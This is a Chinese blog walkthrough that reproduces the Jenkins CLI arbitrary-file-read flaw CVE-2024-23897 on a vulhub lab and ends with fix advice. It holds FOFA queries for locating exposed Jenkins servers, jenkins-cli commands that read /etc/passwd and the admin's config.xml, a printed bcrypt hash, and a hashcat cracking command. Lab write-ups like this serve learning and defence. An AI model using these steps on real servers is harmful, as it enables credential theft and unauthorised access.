CVE-2024-23897-Jenkins任意文件读取漏洞复现

content

Jenkins是什么

Jenkins是一人基于Java开发的、可扩展的持续集成引擎,用于持续、自动地构建/测试软件项目,可以监控一些定时执行的任务。

官网文档:

Jenkins是一款开源 CI&CD 软件,用于自动化各种任务,包括构建、测试和部署软件。 Jenkins

支持各种运行方式,可通过系统包、Docker 或者通过一个独立的 Java 程序。

持续集成引擎:

持续集成引擎就像是软件开发中的智能管家,能自动收集开发人员编写的代码并整合到一起,然后像组装机器一样对代码进行检查和组装,使其成为可运行的软件,接着还会对软件进行各种测试,一旦发现问题就及时告知开发人员,通过不断地重复这些操作,确保软件能快速、高质量地完成开发,而 Jenkins 就是这样一个基于 Java 开发的、能实现这些功能的持续集成引擎工具。

CVE-2024-23897

CVE - 2024 - 23897是Jenkins存在的一个任意文件读取漏洞。Jenkins为用户提供了命令行接口,用户能够借助jenkins - cli.jar调用该接口,进而执行Jenkins的部分功能。然而,当使用jenkins - cli.jar执行命令行操作时,服务端会利用第三方库args4j对命令行进行解析。在解析过程中,若参数以@开头,系统就会把它认定为一个文件名,随后读取该文件的内容并将其作为参数。这一机制存在风险,一旦参数设置不当,就可能引发报错,且报错信息会将文件内容显示出来,从而导致任意文件读取的情况发生。

目前我的能力只能把漏洞打一遍,原理分析请看P神的原理分析文章

受影响版本:

Jenkins 版本<= 2.441

Jenkins 版本<= LTS 2.426.2

fofa:

xml 复制代码
app="jenkins"

or

xml 复制代码
header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"

vulhub开启靶场环境,访问本机8080端口

访问http://靶场IP:8080/jnlpJars/jenkins-cli.jar

触发漏洞,但是这个命令只能读取部分内容

powershell 复制代码
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ -http help 1 "@etc/passwd"

读取/proc/self/environ

一些命令输出行数较多,比如connect-node这个命令

powershell 复制代码
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/  connect-node "@etc/passwd"

如果开启了Allow anonymous read access就可以读取全部文件内容,靶场应该是默认开启了

Jenkins 安装将有一个文件/var/jenkins_home/users/users.xml,其中列出了此处的所有有效用户

powershell 复制代码
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/users.xml"

这里读出来admin

users.xml显示系统上的单个用户,admin,其信息文件夹为/var/jenkins_home/users/admin_5965741382068509608

在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。

所以现在读取/var/jenkins_home/users/admin_5965741382068509608/config.xml

powershell 复制代码
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/admin_5965741382068509608/config.xml"

读取到:

xml 复制代码
<passwordHash>#jbcrypt:$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG</passwordHash>

下面用kali自带字典和工具爆破密码

首先把$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG写入txt文件,再把rockyou.txt复制到当前路径

powershell 复制代码
hashcat -m 3200 info.txt rockyou.txt

开始爆破

但是尴尬了,报错* Device #1: Not enough allocatable device memory for this attack.我kali内存不够了,当时只分配了2G。

这边就直接说密码了,vulhub环境这个Jenkins密码是vulhub。用admin/vulhub登录成功。

登进后台安全管理界面可以发现Allow anonymous read access恰好是开启的。

总结

Jenkins提供了一个命令行的接口,jenkins-clijar是它的命令行客户端,通过jenkins-clijar可以去执行一些Jenkins中的功能。

利用条件:Jenkins 版本<= 2.441 和Jenkins 版本<= LTS 2.426.2+开启了Allow anonymous read access(读取完整文件)

流程:

因此根本原因是args4j这个库解析参数不当造成的

修复建议

Jenkins更新到最新版本

禁用Allow anonymous read access选项

相关推荐
CIb0la15 分钟前
Shodan Dorks安装指南,通过Shodan搜索漏洞
运维·网络安全·安全性测试
是理不是里_23 分钟前
Qos中“shapping整形”是什么?
运维·服务器·网络
索然无味io1 小时前
组件框架漏洞
前端·笔记·学习·安全·web安全·网络安全·前端框架
醉の虾2 小时前
VUE3 使用路由守卫函数实现类型服务器端中间件效果
前端·vue.js·中间件
xf8079893 小时前
cursor远程调试Ubuntu以及打开Ubuntu里面的项目
linux·运维·ubuntu
Andya_net3 小时前
网络安全 | F5-Attack Signatures-Set详解
网络·数据库·web安全
狄加山6754 小时前
Linux 基础1
linux·运维·服务器
测试冲鸭4 小时前
【可实战】Linux 系统扫盲、 Shell扫盲(如何写一个简单的shell脚本)
linux·运维·arm开发
Z3r4y4 小时前
【钓鱼】基于office的一些钓鱼技法
网络安全·office·钓鱼·宏病毒
喝醉酒的小白5 小时前
批量创建ES索引
大数据·elasticsearch·jenkins